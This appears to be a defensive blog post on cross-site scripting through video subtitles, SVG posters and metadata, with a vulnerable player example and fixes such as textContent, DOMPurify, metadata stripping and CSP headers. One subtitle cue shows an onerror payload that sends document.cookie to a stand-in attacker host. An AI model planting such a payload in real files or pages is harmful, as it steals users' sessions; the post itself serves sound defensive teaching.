- by x32x01 ||
🎬 XSS via Video Files - Hidden Web Exploits You Shouldn’t Ignore 😬🐛
Video files aren’t always harmless - attackers can hide malicious scripts inside subtitles, SVG posters, or even metadata fields. When your web player or backend processes that data as HTML, it can execute attacker-controlled JavaScript right in your users’ browsers. Let’s break down how it happens, how to fix it, and how to harden your app. 🔒🛡️
If your player uses
If
…the attacker’s script will run when the video loads. 😱
If you need limited formatting, sanitize using a trusted library like DOMPurify:
👉 Always sanitize, validate, and isolate untrusted media - and use CSP to reduce the blast radius.
Video files aren’t always harmless - attackers can hide malicious scripts inside subtitles, SVG posters, or even metadata fields. When your web player or backend processes that data as HTML, it can execute attacker-controlled JavaScript right in your users’ browsers. Let’s break down how it happens, how to fix it, and how to harden your app. 🔒🛡️
What Actually Happens 🧠
Subtitles (like.vtt or .srt) and poster images (like .svg) often contain markup.If your player uses
innerHTML or unsafe DOM APIs to insert those strings, any embedded <script> or <img onerror> tag will execute in the page context, resulting in a Cross-Site Scripting (XSS) vulnerability.Common Attack Vectors ⚔️
- WebVTT/SRT Captions - cue text interpreted as HTML.
- SVG Posters - SVG allows
<script>and event handlers. - MP4 Metadata Fields - unvalidated title/artist fields displayed as HTML.
- Custom Players or Plugins - unsafe
innerHTMLrendering in captions or UI.
💥 Vulnerable Example (Unsafe JavaScript)
HTML:
<video id="player" controls>
<track id="track" kind="subtitles" src="subs.vtt" srclang="en" default>
</video>
<script>
const track = document.getElementById('track');
track.addEventListener('load', () => {
const cues = track.track.cues;
for (let i = 0; i < cues.length; i++) {
const el = document.createElement('div');
el.innerHTML = cues[i].text; // ❌ Dangerous
document.body.appendChild(el);
}
});
</script> If
subs.vtt contains: Code:
00:00:00.000 --> 00:00:05.000
<img src=x onerror="fetch('https://attacker.site/steal?cookie='+document.cookie)"> ✅ Safe Rendering - The Fix
Always treat user-controlled content as plain text: JavaScript:
el.textContent = cues[i].text; // ✅ Safe: no HTML parsing If you need limited formatting, sanitize using a trusted library like DOMPurify:
JavaScript:
import DOMPurify from 'dompurify';
el.innerHTML = DOMPurify.sanitize(cues[i].text, { ALLOWED_TAGS: ['b','i','em','strong'] }); 🧰 Server-Side Hardening
- Validate MIME type and file extension (use magic bytes, not filenames).
- Strip metadata safely:
ffmpeg -i input.mp4 -c copy -map_metadata -1 output.mp4 - Re-encode uploaded media into safe containers.
- Sanitize or convert subtitle files before serving.
- Scan uploads for embedded HTML/SVG or malicious content.
🧱 Architectural Mitigations
- Serve user uploads from a separate subdomain (e.g.,
cdn.example.com). - Apply CORS carefully and use sandboxed iframes for untrusted content.
- Separate static resources from your main app origin to block cookie theft.
🛡️ Browser Security Headers
- Content-Security-Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'none'; object-src 'none'; - X-Content-Type-Options:
nosniff - Referrer-Policy and X-Frame-Options: add extra isolation layers.
🎥 Player & Library Hygiene
- Use reputable, well-maintained video players (
Video.js,Plyr). - Avoid outdated plugins or skins that modify DOM rendering.
- Keep your dependencies updated and review changelogs for security patches.
✅ Quick Developer Checklist
- Reject HTML/SVG in subtitles or posters
- Sanitize captions server- & client-side (DOMPurify)
- Isolate uploads on a static domain
- Strip metadata with FFmpeg
- Enforce strong CSP + nosniff
- Keep players updated
- Monitor logs for suspicious upload activity
TL;DR 🚨
XSS in video files is real and dangerous. Attackers can embed payloads in captions, posters, or metadata that trigger code execution in browsers.👉 Always sanitize, validate, and isolate untrusted media - and use CSP to reduce the blast radius.